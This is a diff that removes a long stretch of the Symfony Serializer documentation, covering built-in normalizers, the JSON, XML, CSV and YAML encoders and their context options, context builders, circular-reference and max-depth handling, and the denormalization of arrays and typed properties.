-    then further normalize the result. This means that nested
-    :phpclass:`JsonSerializable` classes will also be normalized.
-
-    This normalizer is particularly helpful when you want to gradually migrate
-    from an existing codebase using simple :phpfunction:`json_encode` to the Symfony
-    Serializer by allowing you to mix which normalizers are used for which classes.
-
-    Unlike with :phpfunction:`json_encode` circular references can be handled.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeNormalizer`
-    This normalizer converts :phpclass:`DateTimeInterface` objects (e.g.
-    :phpclass:`DateTime` and :phpclass:`DateTimeImmutable`) into strings,
-    integers or floats. By default, it converts them to strings using the `RFC3339`_ format.
-    To convert the objects to integers or floats, set the serializer context option
-    ``DateTimeNormalizer::CAST_KEY`` to ``int`` or ``float``.
-
-    .. versionadded:: 7.1
-
-        The ``DateTimeNormalizer::CAST_KEY`` context option was introduced in Symfony 7.1.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateTimeZoneNormalizer`
-    This normalizer converts :phpclass:`DateTimeZone` objects into strings that
-    represent the name of the timezone according to the `list of PHP timezones`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DataUriNormalizer`
-    This normalizer converts :phpclass:`SplFileInfo` objects into a `data URI`_
-    string (``data:...``) such that files can be embedded into serialized data.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\DateIntervalNormalizer`
-    This normalizer converts :phpclass:`DateInterval` objects into strings.
-    By default, it uses the ``P%yY%mM%dDT%hH%iM%sS`` format.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\BackedEnumNormalizer`
-    This normalizer converts a \BackedEnum objects into strings or integers.
-
-    By default, an exception is thrown when data is not a valid backed enumeration. If you
-    want ``null`` instead, you can set the ``BackedEnumNormalizer::ALLOW_INVALID_VALUES`` option.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\FormErrorNormalizer`
-    This normalizer works with classes that implement
-    :class:`Symfony\\Component\\Form\\FormInterface`.
-
-    It will get errors from the form and normalize them into a normalized array.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ConstraintViolationListNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Component\\Validator\\ConstraintViolationListInterface`
-    into a list of errors according to the `RFC 7807`_ standard.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ProblemNormalizer`
-    Normalizes errors according to the API Problem spec `RFC 7807`_.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\CustomNormalizer`
-    Normalizes a PHP object using an object that implements :class:`Symfony\\Component\\Serializer\\Normalizer\\NormalizableInterface`.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\UidNormalizer`
-    This normalizer converts objects that extend
-    :class:`Symfony\\Component\\Uid\\AbstractUid` into strings.
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Uuid`
-    is the `RFC 4122`_ format (example: ``d9e7a184-5d5b-11ea-a62a-3499710062d0``).
-    The default normalization format for objects that implement :class:`Symfony\\Component\\Uid\\Ulid`
-    is the Base 32 format (example: ``01E439TP9XJZ9RPFH3T1PYBCR8``).
-    You can change the string format by setting the serializer context option
-    ``UidNormalizer::NORMALIZATION_FORMAT_KEY`` to ``UidNormalizer::NORMALIZATION_FORMAT_BASE_58``,
-    ``UidNormalizer::NORMALIZATION_FORMAT_BASE_32`` or ``UidNormalizer::NORMALIZATION_FORMAT_RFC_4122``.
-
-    Also it can denormalize ``uuid`` or ``ulid`` strings to :class:`Symfony\\Component\\Uid\\Uuid`
-    or :class:`Symfony\\Component\\Uid\\Ulid`. The format does not matter.
-
-:class:`Symfony\\Component\\Serializer\\Normalizer\\TranslatableNormalizer`
-    This normalizer converts objects that implement
-    :class:`Symfony\\Contracts\\Translation\\TranslatableInterface` into
-    translated strings, using the
-    :method:`Symfony\\Contracts\\Translation\\TranslatableInterface::trans`
-    method. You can define the locale to use to translate the object by
-    setting the ``TranslatableNormalizer::NORMALIZATION_LOCALE_KEY`` serializer
-    context option.
-
-.. note::
-
-    You can also create your own Normalizer to use another structure. Read more at
-    :doc:`/serializer/custom_normalizer`.
-
-Certain normalizers are enabled by default when using the Serializer component
-in a Symfony application, additional ones can be enabled by tagging them with
-:ref:`serializer.normalizer <reference-dic-tags-serializer-normalizer>`.
-
-Here is an example of how to enable the built-in
-:class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`, a
-faster alternative to the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`:
-
-.. configuration-block::
-
-    .. code-block:: yaml
-
-        # config/services.yaml
-        services:
-            # ...
-
-            get_set_method_normalizer:
-                class: Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer
-                tags: [serializer.normalizer]
-
-    .. code-block:: xml
-
-        <!-- config/services.xml -->
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <container xmlns="http://symfony.com/schema/dic/services"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/services
-                https://symfony.com/schema/dic/services/services-1.0.xsd"
-        >
-            <services>
-                <!-- ... -->
-
-                <service id="get_set_method_normalizer" class="Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer">
-                    <tag name="serializer.normalizer"/>
-                </service>
-            </services>
-        </container>
-
-    .. code-block:: php
-
-        // config/services.php
-        namespace Symfony\Component\DependencyInjection\Loader\Configurator;
-
-        use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-
-        return static function (ContainerConfigurator $container): void {
-            $container->services()
-                // ...
-                ->set('get_set_method_normalizer', GetSetMethodNormalizer::class)
-                    ->tag('serializer.normalizer')
-            ;
-        };
-
-.. _component-serializer-encoders:
-
-Encoders
---------
-
-Encoders turn **arrays** into **formats** and vice versa. They implement
-:class:`Symfony\\Component\\Serializer\\Encoder\\EncoderInterface`
-for encoding (array to format) and
-:class:`Symfony\\Component\\Serializer\\Encoder\\DecoderInterface` for decoding
-(format to array).
-
-You can add new encoders to a Serializer instance by using its second constructor argument::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-    use Symfony\Component\Serializer\Serializer;
-
-    $encoders = [new XmlEncoder(), new JsonEncoder()];
-    $serializer = new Serializer([], $encoders);
-
-Built-in Encoders
-~~~~~~~~~~~~~~~~~
-
-The Serializer component provides several built-in encoders:
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\JsonEncoder`
-    This class encodes and decodes data in `JSON`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\XmlEncoder`
-    This class encodes and decodes data in `XML`_.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\YamlEncoder`
-    This encoder encodes and decodes data in `YAML`_. This encoder requires the
-    :doc:`Yaml Component </components/yaml>`.
-
-:class:`Symfony\\Component\\Serializer\\Encoder\\CsvEncoder`
-    This encoder encodes and decodes data in `CSV`_.
-
-.. note::
-
-    You can also create your own Encoder to use another structure. Read more at
-    :doc:`/serializer/custom_encoders`.
-
-All these encoders are enabled by default when using the Serializer component
-in a Symfony application.
-
-The ``JsonEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-The ``JsonEncoder`` encodes to and decodes from JSON strings, based on the PHP
-:phpfunction:`json_encode` and :phpfunction:`json_decode` functions. It can be
-useful to modify how these functions operate in certain instances by providing
-options such as ``JSON_PRESERVE_ZERO_FRACTION``. You can use the serialization
-context to pass in these options using the key ``json_encode_options`` or
-``json_decode_options`` respectively::
-
-    $this->serializer->serialize($data, 'json', ['json_encode_options' => \JSON_PRESERVE_ZERO_FRACTION]);
-
-These are the options available:
-
-===============================  =========================================================================================================== ================================
-Option                           Description                                                                                                 Default
-===============================  ==========================================================================================================  ================================
-``json_decode_associative``      If set to true returns the result as an array, returns a nested ``stdClass`` hierarchy otherwise.           ``false``
-``json_decode_detailed_errors``  If set to true, exceptions thrown on parsing of JSON are more specific. Requires `seld/jsonlint`_ package.  ``false``
-``json_decode_options``          `$flags`_ passed to :phpfunction:`json_decode` function.                                                    ``0``
-``json_encode_options``          `$flags`_ passed to :phpfunction:`json_encode` function.                                                    ``\JSON_PRESERVE_ZERO_FRACTION``
-``json_decode_recursion_depth``  Sets maximum recursion depth.                                                                               ``512``
-===============================  ==========================================================================================================  ================================
-
-The ``CsvEncoder``
-~~~~~~~~~~~~~~~~~~
-
-The ``CsvEncoder`` encodes to and decodes from CSV.
-
-The ``CsvEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the CsvEncoder an associative array::
-
-    $csvEncoder->encode($array, 'csv', $context);
-
-These are the options available:
-
-======================= ============================================================= ==========================
-Option                  Description                                                   Default
-======================= ============================================================= ==========================
-``csv_delimiter``       Sets the field delimiter separating values (one               ``,``
-                        character only)
-``csv_enclosure``       Sets the field enclosure (one character only)                 ``"``
-``csv_end_of_line``     Sets the character(s) used to mark the end of each            ``\n``
-                        line in the CSV file
-``csv_escape_char``     Deprecated. Sets the escape character (at most one character) empty string
-``csv_key_separator``   Sets the separator for array's keys during its                ``.``
-                        flattening
-``csv_headers``         Sets the order of the header and data columns
-                        E.g.: if ``$data = ['c' => 3, 'a' => 1, 'b' => 2]``
-                        and ``$options = ['csv_headers' => ['a', 'b', 'c']]``
-                        then ``serialize($data, 'csv', $options)`` returns
-                        ``a,b,c\n1,2,3``                                              ``[]``, inferred from input data's keys
-``csv_escape_formulas`` Escapes fields containing formulas by prepending them         ``false``
-                        with a ``\t`` character
-``as_collection``       Always returns results as a collection, even if only          ``true``
-                        one line is decoded.
-``no_headers``          Setting to ``false`` will use first row as headers.           ``false``
-                        ``true`` generate numeric headers.
-``output_utf8_bom``     Outputs special `UTF-8 BOM`_ along with encoded data          ``false``
-======================= ============================================================= ==========================
-
-.. deprecated:: 7.2
-
-    The ``csv_escape_char`` option and the ``CsvEncoder::ESCAPE_CHAR_KEY``
-    constant were deprecated in Symfony 7.2.
-
-The ``XmlEncoder``
-~~~~~~~~~~~~~~~~~~
-
-This encoder transforms arrays into XML and vice versa.
-
-For example, take an object normalized as following::
-
-    ['foo' => [1, 2], 'bar' => true];
-
-The ``XmlEncoder`` will encode this object like that:
-
-.. code-block:: xml
-
-    <?xml version="1.0" encoding="UTF-8" ?>
-    <response>
-        <foo>1</foo>
-        <foo>2</foo>
-        <bar>1</bar>
-    </response>
-
-The special ``#`` key can be used to define the data of a node::
-
-    ['foo' => ['@bar' => 'value', '#' => 'baz']];
-
-    // is encoded as follows:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value">
-    //        baz
-    //     </foo>
-    // </response>
-
-Furthermore, keys beginning with ``@`` will be considered attributes, and
-the key  ``#comment`` can be used for encoding XML comments::
-
-    $encoder = new XmlEncoder();
-    $encoder->encode([
-        'foo' => ['@bar' => 'value'],
-        'qux' => ['#comment' => 'A comment'],
-    ], 'xml');
-    // will return:
-    // <?xml version="1.0"?>
-    // <response>
-    //     <foo bar="value"/>
-    //     <qux><!-- A comment --!><qux>
-    // </response>
-
-You can pass the context key ``as_collection`` in order to have the results
-always as a collection.
-
-.. note::
-
-    You may need to add some attributes on the root node::
-
-        $encoder = new XmlEncoder();
-        $encoder->encode([
-            '@attribute1' => 'foo',
-            '@attribute2' => 'bar',
-            '#' => ['foo' => ['@bar' => 'value', '#' => 'baz']]
-        ], 'xml');
-
-        // will return:
-        // <?xml version="1.0"?>
-        // <response attribute1="foo" attribute2="bar">
-        // <foo bar="value">baz</foo>
-        // </response>
-
-.. tip::
-
-    XML comments are ignored by default when decoding contents, but this
-    behavior can be changed with the optional context key ``XmlEncoder::DECODER_IGNORED_NODE_TYPES``.
-
-    Data with ``#comment`` keys are encoded to XML comments by default. This can be
-    changed by adding the ``\XML_COMMENT_NODE`` option to the ``XmlEncoder::ENCODER_IGNORED_NODE_TYPES``
-    key of the ``$defaultContext`` of the ``XmlEncoder`` constructor or
-    directly to the ``$context`` argument of the ``encode()`` method::
-
-        $xmlEncoder->encode($array, 'xml', [XmlEncoder::ENCODER_IGNORED_NODE_TYPES => [\XML_COMMENT_NODE]]);
-
-The ``XmlEncoder`` Context Options
-..................................
-
-The ``encode()`` method defines a third optional parameter called ``context``
-which defines the configuration options for the XmlEncoder an associative array::
-
-    $xmlEncoder->encode($array, 'xml', $context);
-
-These are the options available:
-
-==============================  =================================================  ==========================
-Option                          Description                                        Default
-==============================  =================================================  ==========================
-``xml_format_output``           If set to true, formats the generated XML with     ``false``
-                                line breaks and indentation
-``xml_version``                 Sets the XML version attribute                     ``1.0``
-``xml_encoding``                Sets the XML encoding attribute                    ``utf-8``
-``xml_standalone``              Adds standalone attribute in the generated XML     ``true``
-``xml_type_cast_attributes``    This provides the ability to forget the attribute  ``true``
-                                type casting
-``xml_root_node_name``          Sets the root node name                            ``response``
-``as_collection``               Always returns results as a collection, even if    ``false``
-                                only one line is decoded
-``decoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[\XML_PI_NODE, \XML_COMMENT_NODE]``
-                                to be ignored while decoding
-``encoder_ignored_node_types``  Array of node types (`DOM XML_* constants`_)       ``[]``
-                                to be ignored while encoding
-``load_options``                XML loading `options with libxml`_                 ``\LIBXML_NONET | \LIBXML_NOBLANKS``
-``save_options``                XML saving `options with libxml`_                  ``0``
-``remove_empty_tags``           If set to true, removes all empty tags in the      ``false``
-                                generated XML
-``cdata_wrapping``              If set to false, will not wrap any value           ``true``
-                                matching the ``cdata_wrapping_pattern`` regex in
-                                `a CDATA section`_ like following:
-                                ``<![CDATA[...]]>``
-``cdata_wrapping_pattern``      A regular expression pattern to determine if a     ``/[<>&]/``
-                                value should be wrapped in a CDATA section
-==============================  =================================================  ==========================
-
-.. versionadded:: 7.1
-
-    The ``cdata_wrapping_pattern`` option was introduced in Symfony 7.1.
-
-Example with custom ``context``::
-
-    use Symfony\Component\Serializer\Encoder\XmlEncoder;
-
-    // create encoder with specified options as new default settings
-    $xmlEncoder = new XmlEncoder(['xml_format_output' => true]);
-
-    $data = [
-        'id' => 'IDHNQIItNyQ',
-        'date' => '2019-10-24',
-    ];
-
-    // encode with default context
-    $xmlEncoder->encode($data, 'xml');
-    // outputs:
-    // <?xml version="1.0"?>
-    // <response>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </response>
-
-    // encode with modified context
-    $xmlEncoder->encode($data, 'xml', [
-        'xml_root_node_name' => 'track',
-        'encoder_ignored_node_types' => [
-            \XML_PI_NODE, // removes XML declaration (the leading xml tag)
-        ],
-    ]);
-    // outputs:
-    // <track>
-    //   <id>IDHNQIItNyQ</id>
-    //   <date>2019-10-24</date>
-    // </track>
-
-The ``YamlEncoder``
-~~~~~~~~~~~~~~~~~~~
-
-This encoder requires the :doc:`Yaml Component </components/yaml>` and
-transforms from and to Yaml.
-
-The ``YamlEncoder`` Context Options
-...................................
-
-The ``encode()`` method, like other encoder, uses ``context`` to set
-configuration options for the YamlEncoder an associative array::
-
-    $yamlEncoder->encode($array, 'yaml', $context);
-
-These are the options available:
-
-=============== ========================================================  ==========================
-Option          Description                                               Default
-=============== ========================================================  ==========================
-``yaml_inline`` The level where you switch to inline YAML                 ``0``
-``yaml_indent`` The level of indentation (used internally)                ``0``
-``yaml_flags``  A bit field of ``Yaml::DUMP_*`` / ``PARSE_*`` constants   ``0``
-                to customize the encoding / decoding YAML string
-=============== ========================================================  ==========================
-
-.. _component-serializer-context-builders:
-
-Context Builders
-----------------
-
-Instead of passing plain PHP arrays to the :ref:`serialization context <serializer_serializer-context>`,
-you can use "context builders" to define the context using a fluent interface::
-
-    use Symfony\Component\Serializer\Context\Encoder\CsvEncoderContextBuilder;
-    use Symfony\Component\Serializer\Context\Normalizer\ObjectNormalizerContextBuilder;
-
-    $initialContext = [
-        'custom_key' => 'custom_value',
-    ];
-
-    $contextBuilder = (new ObjectNormalizerContextBuilder())
-        ->withContext($initialContext)
-        ->withGroups(['group1', 'group2']);
-
-    $contextBuilder = (new CsvEncoderContextBuilder())
-        ->withContext($contextBuilder)
-        ->withDelimiter(';');
-
-    $serializer->serialize($something, 'csv', $contextBuilder->toArray());
-
-.. note::
-
-    The Serializer component provides a context builder
-    for each :ref:`normalizer <component-serializer-normalizers>`
-    and :ref:`encoder <component-serializer-encoders>`.
-
-    You can also :doc:`create custom context builders </serializer/custom_context_builders>`
-    to deal with your context values.
-
-.. deprecated:: 7.2
-
-    The ``CsvEncoderContextBuilder::withEscapeChar()`` method was deprecated
-    in Symfony 7.2.
-
-Skipping ``null`` Values
-------------------------
-
-By default, the Serializer will preserve properties containing a ``null`` value.
-You can change this behavior by setting the ``AbstractObjectNormalizer::SKIP_NULL_VALUES`` context option
-to ``true``::
-
-    $dummy = new class {
-        public ?string $foo = null;
-        public string $bar = 'notNull';
-    };
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
-    // ['bar' => 'notNull']
-
-Require all Properties
-----------------------
-
-By default, the Serializer will add ``null`` to nullable properties when the parameters for those are not provided.
-You can change this behavior by setting the ``AbstractNormalizer::REQUIRE_ALL_PROPERTIES`` context option
-to ``true``::
-
-    class Dummy
-    {
-        public function __construct(
-            public string $foo,
-            public ?string $bar,
-        ) {
-        }
-    }
-
-    $data = ['foo' => 'notNull'];
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->denormalize($data, Dummy::class, 'json', [AbstractNormalizer::REQUIRE_ALL_PROPERTIES => true]);
-    // throws Symfony\Component\Serializer\Exception\MissingConstructorArgumentException
-
-Skipping Uninitialized Properties
----------------------------------
-
-In PHP, typed properties have an ``uninitialized`` state which is different
-from the default ``null`` of untyped properties. When you try to access a typed
-property before giving it an explicit value, you get an error.
-
-To avoid the Serializer throwing an error when serializing or normalizing an
-object with uninitialized properties, by default the object normalizer catches
-these errors and ignores such properties.
-
-You can disable this behavior by setting the ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES``
-context option to ``false``::
-
-    class Dummy {
-        public string $foo = 'initialized';
-        public string $bar; // uninitialized
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $result = $normalizer->normalize(new Dummy(), 'json', [AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES => false]);
-    // throws Symfony\Component\PropertyAccess\Exception\UninitializedPropertyException as normalizer cannot read uninitialized properties
-
-.. note::
-
-    Calling ``PropertyNormalizer::normalize`` or ``GetSetMethodNormalizer::normalize``
-    with ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` context option set
-    to ``false`` will throw an ``\Error`` instance if the given object has uninitialized
-    properties as the normalizer cannot read them (directly or via getter/isser methods).
-
-.. _component-serializer-handling-circular-references:
-
-Collecting Type Errors While Denormalizing
-------------------------------------------
-
-When denormalizing a payload to an object with typed properties, you'll get an
-exception if the payload contains properties that don't have the same type as
-the object.
-
-In those situations, use the ``COLLECT_DENORMALIZATION_ERRORS`` option to
-collect all exceptions at once, and to get the object partially denormalized::
-
-    try {
-        $dto = $serializer->deserialize($request->getContent(), MyDto::class, 'json', [
-            DenormalizerInterface::COLLECT_DENORMALIZATION_ERRORS => true,
-        ]);
-    } catch (PartialDenormalizationException $e) {
-        $violations = new ConstraintViolationList();
-        /** @var NotNormalizableValueException $exception */
-        foreach ($e->getErrors() as $exception) {
-            $message = sprintf('The type must be one of "%s" ("%s" given).', implode(', ', $exception->getExpectedTypes()), $exception->getCurrentType());
-            $parameters = [];
-            if ($exception->canUseMessageForUser()) {
-                $parameters['hint'] = $exception->getMessage();
-            }
-            $violations->add(new ConstraintViolation($message, '', $parameters, null, $exception->getPath(), null));
-        }
-
-        return $this->json($violations, 400);
-    }
-
-Handling Circular References
-----------------------------
-
-Circular references are common when dealing with entity relations::
-
-    class Organization
-    {
-        private string $name;
-        private array $members;
-
-        public function setName($name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setMembers(array $members): void
-        {
-            $this->members = $members;
-        }
-
-        public function getMembers(): array
-        {
-            return $this->members;
-        }
-    }
-
-    class Member
-    {
-        private string $name;
-        private Organization $organization;
-
-        public function setName(string $name): void
-        {
-            $this->name = $name;
-        }
-
-        public function getName(): string
-        {
-            return $this->name;
-        }
-
-        public function setOrganization(Organization $organization): void
-        {
-            $this->organization = $organization;
-        }
-
-        public function getOrganization(): Organization
-        {
-            return $this->organization;
-        }
-    }
-
-To avoid infinite loops, :class:`Symfony\\Component\\Serializer\\Normalizer\\GetSetMethodNormalizer`
-or :class:`Symfony\\Component\\Serializer\\Normalizer\\ObjectNormalizer`
-throw a :class:`Symfony\\Component\\Serializer\\Exception\\CircularReferenceException`
-when such a case is encountered::
-
-    $member = new Member();
-    $member->setName('Kévin');
-
-    $organization = new Organization();
-    $organization->setName('Les-Tilleuls.coop');
-    $organization->setMembers([$member]);
-
-    $member->setOrganization($organization);
-
-    echo $serializer->serialize($organization, 'json'); // Throws a CircularReferenceException
-
-The key ``circular_reference_limit`` in the default context sets the number of
-times it will serialize the same object before considering it a circular
-reference. The default value is ``1``.
-
-Instead of throwing an exception, circular references can also be handled
-by custom callables. This is especially useful when serializing entities
-having unique identifiers::
-
-    $encoder = new JsonEncoder();
-    $defaultContext = [
-        AbstractNormalizer::CIRCULAR_REFERENCE_HANDLER => function (object $object, ?string $format, array $context): string {
-            return $object->getName();
-        },
-    ];
-    $normalizer = new ObjectNormalizer(null, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer], [$encoder]);
-    var_dump($serializer->serialize($org, 'json'));
-    // {"name":"Les-Tilleuls.coop","members":[{"name":"K\u00e9vin", organization: "Les-Tilleuls.coop"}]}
-
-.. _serializer_handling-serialization-depth:
-
-Handling Serialization Depth
-----------------------------
-
-The Serializer component is able to detect and limit the serialization depth.
-It is especially useful when serializing large trees. Assume the following data
-structure::
-
-    namespace Acme;
-
-    class MyObj
-    {
-        public string $foo;
-
-        /**
-         * @var self
-         */
-        public MyObj $child;
-    }
-
-    $level1 = new MyObj();
-    $level1->foo = 'level1';
-
-    $level2 = new MyObj();
-    $level2->foo = 'level2';
-    $level1->child = $level2;
-
-    $level3 = new MyObj();
-    $level3->foo = 'level3';
-    $level2->child = $level3;
-
-The serializer can be configured to set a maximum depth for a given property.
-Here, we set it to 2 for the ``$child`` property:
-
-.. configuration-block::
-
-    .. code-block:: php-attributes
-
-        namespace Acme;
-
-        use Symfony\Component\Serializer\Annotation\MaxDepth;
-
-        class MyObj
-        {
-            #[MaxDepth(2)]
-            public MyObj $child;
-
-            // ...
-        }
-
-    .. code-block:: yaml
-
-        Acme\MyObj:
-            attributes:
-                child:
-                    max_depth: 2
-
-    .. code-block:: xml
-
-        <?xml version="1.0" encoding="UTF-8" ?>
-        <serializer xmlns="http://symfony.com/schema/dic/serializer-mapping"
-            xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
-            xsi:schemaLocation="http://symfony.com/schema/dic/serializer-mapping
-                https://symfony.com/schema/dic/serializer-mapping/serializer-mapping-1.0.xsd"
-        >
-            <class name="Acme\MyObj">
-                <attribute name="child" max-depth="2"/>
-            </class>
-        </serializer>
-
-The metadata loader corresponding to the chosen format must be configured in
-order to use this feature. It is done automatically when using the Serializer component
-in a Symfony application. When using the standalone component, refer to
-:ref:`the groups documentation <component-serializer-attributes-groups>` to
-learn how to do that.
-
-The check is only done if the ``AbstractObjectNormalizer::ENABLE_MAX_DEPTH`` key of the serializer context
-is set to ``true``. In the following example, the third level is not serialized
-because it is deeper than the configured maximum depth of 2::
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'foo' => 'level1',
-        'child' => [
-            'foo' => 'level2',
-            'child' => [
-                'child' => null,
-            ],
-        ],
-    ];
-    */
-
-Instead of throwing an exception, a custom callable can be executed when the
-maximum depth is reached. This is especially useful when serializing entities
-having unique identifiers::
-
-    use Symfony\Component\Serializer\Annotation\MaxDepth;
-    use Symfony\Component\Serializer\Mapping\Factory\ClassMetadataFactory;
-    use Symfony\Component\Serializer\Mapping\Loader\AttributeLoader;
-    use Symfony\Component\Serializer\Normalizer\AbstractObjectNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class Foo
-    {
-        public int $id;
-
-        #[MaxDepth(1)]
-        public MyObj $child;
-    }
-
-    $level1 = new Foo();
-    $level1->id = 1;
-
-    $level2 = new Foo();
-    $level2->id = 2;
-    $level1->child = $level2;
-
-    $level3 = new Foo();
-    $level3->id = 3;
-    $level2->child = $level3;
-
-    $classMetadataFactory = new ClassMetadataFactory(new AttributeLoader());
-
-    // all callback parameters are optional (you can omit the ones you don't use)
-    $maxDepthHandler = function (object $innerObject, object $outerObject, string $attributeName, ?string $format = null, array $context = []): string {
-        return '/foos/'.$innerObject->id;
-    };
-
-    $defaultContext = [
-        AbstractObjectNormalizer::MAX_DEPTH_HANDLER => $maxDepthHandler,
-    ];
-    $normalizer = new ObjectNormalizer($classMetadataFactory, null, null, null, null, null, $defaultContext);
-
-    $serializer = new Serializer([$normalizer]);
-
-    $result = $serializer->normalize($level1, null, [AbstractObjectNormalizer::ENABLE_MAX_DEPTH => true]);
-    /*
-    $result = [
-        'id' => 1,
-        'child' => [
-            'id' => 2,
-            'child' => '/foos/3',
-        ],
-    ];
-    */
-
-Handling Arrays
----------------
-
-The Serializer component is capable of handling arrays of objects as well.
-Serializing arrays works just like serializing a single object::
-
-    use Acme\Person;
-
-    $person1 = new Person();
-    $person1->setName('foo');
-    $person1->setAge(99);
-    $person1->setSportsman(false);
-
-    $person2 = new Person();
-    $person2->setName('bar');
-    $person2->setAge(33);
-    $person2->setSportsman(true);
-
-    $persons = [$person1, $person2];
-    $data = $serializer->serialize($persons, 'json');
-
-    // $data contains [{"name":"foo","age":99,"sportsman":false},{"name":"bar","age":33,"sportsman":true}]
-
-If you want to deserialize such a structure, you need to add the
-:class:`Symfony\\Component\\Serializer\\Normalizer\\ArrayDenormalizer`
-to the set of normalizers. By appending ``[]`` to the type parameter of the
-:method:`Symfony\\Component\\Serializer\\Serializer::deserialize` method,
-you indicate that you're expecting an array instead of a single object::
-
-    use Symfony\Component\Serializer\Encoder\JsonEncoder;
-    use Symfony\Component\Serializer\Normalizer\ArrayDenormalizer;
-    use Symfony\Component\Serializer\Normalizer\GetSetMethodNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    $serializer = new Serializer(
-        [new GetSetMethodNormalizer(), new ArrayDenormalizer()],
-        [new JsonEncoder()]
-    );
-
-    $data = ...; // The serialized data from the previous example
-    $persons = $serializer->deserialize($data, 'Acme\Person[]', 'json');
-
-Handling Constructor Arguments
-------------------------------
-
-If the class constructor defines arguments, as usually happens with
-`Value Objects`_, the serializer won't be able to create the object if some
-arguments are missing. In those cases, use the ``default_constructor_arguments``
-context option::
-
-    use Symfony\Component\Serializer\Normalizer\AbstractNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class MyObj
-    {
-        public function __construct(
-            private string $foo,
-            private string $bar,
-        ) {
-        }
-    }
-
-    $normalizer = new ObjectNormalizer();
-    $serializer = new Serializer([$normalizer]);
-
-    $data = $serializer->denormalize(
-        ['foo' => 'Hello'],
-        'MyObj',
-        null,
-        [AbstractNormalizer::DEFAULT_CONSTRUCTOR_ARGUMENTS => [
-            'MyObj' => ['foo' => '', 'bar' => ''],
-        ]]
-    );
-    // $data = new MyObj('Hello', '');
-
-Recursive Denormalization and Type Safety
------------------------------------------
-
-The Serializer component can use the :doc:`PropertyInfo Component </components/property_info>` to denormalize
-complex types (objects). The type of the class' property will be guessed using the provided
-extractor and used to recursively denormalize the inner data.
-
-When using this component in a Symfony application, all normalizers are automatically configured to use the registered extractors.
-When using the component standalone, an implementation of :class:`Symfony\\Component\\PropertyInfo\\PropertyTypeExtractorInterface`,
-(usually an instance of :class:`Symfony\\Component\\PropertyInfo\\PropertyInfoExtractor`) must be passed as the 4th
-parameter of the ``ObjectNormalizer``::
-
-    namespace Acme;
-
-    use Symfony\Component\PropertyInfo\Extractor\ReflectionExtractor;
-    use Symfony\Component\Serializer\Normalizer\DateTimeNormalizer;
-    use Symfony\Component\Serializer\Normalizer\ObjectNormalizer;
-    use Symfony\Component\Serializer\Serializer;
-
-    class ObjectOuter
-    {
-        private ObjectInner $inner;
-        private \DateTimeInterface $date;
-
-        public function getInner(): ObjectInner
-        {
-            return $this->inner;
-        }
-
-        public function setInner(ObjectInner $inner): void
-        {
-            $this->inner = $inner;
-        }
-
-        public function getDate(): \DateTimeInterface
-        {
-            return $this->date;
-        }
-
-        public function setDate(\DateTimeInterface $date): void
-        {
-            $this->date = $date;
-        }
-    }
-
-    class ObjectInner
-    {
-        public string $foo;
-        public string $bar;
-    }
-
-    $normalizer = new ObjectNormalizer(null, null, null, new ReflectionExtractor());
-    $serializer = new Serializer([new DateTimeNormalizer(), $normalizer]);
-
-    $obj = $serializer->denormalize(
-        ['inner' => ['foo' => 'foo', 'bar' => 'bar'], 'date' => '1988/01/21'],
-        'Acme\ObjectOuter'
-    );
-
-    dump($obj->getInner()->foo); // 'foo'
-    dump($obj->getInner()->bar); // 'bar'
-    dump($obj->getDate()->format('Y-m-d')); // '1988-01-21'
-
-When a ``PropertyTypeExtractor`` is available, the normalizer will also check that the data to denormalize
-matches the type of the property (even for primitive types). For instance, if a ``string`` is provided, but
-the type of the property is ``int``, an :class:`Symfony\\Component\\Serializer\\Exception\\UnexpectedValueException`
-will be thrown. The type enforcement of the properties can be disabled by setting
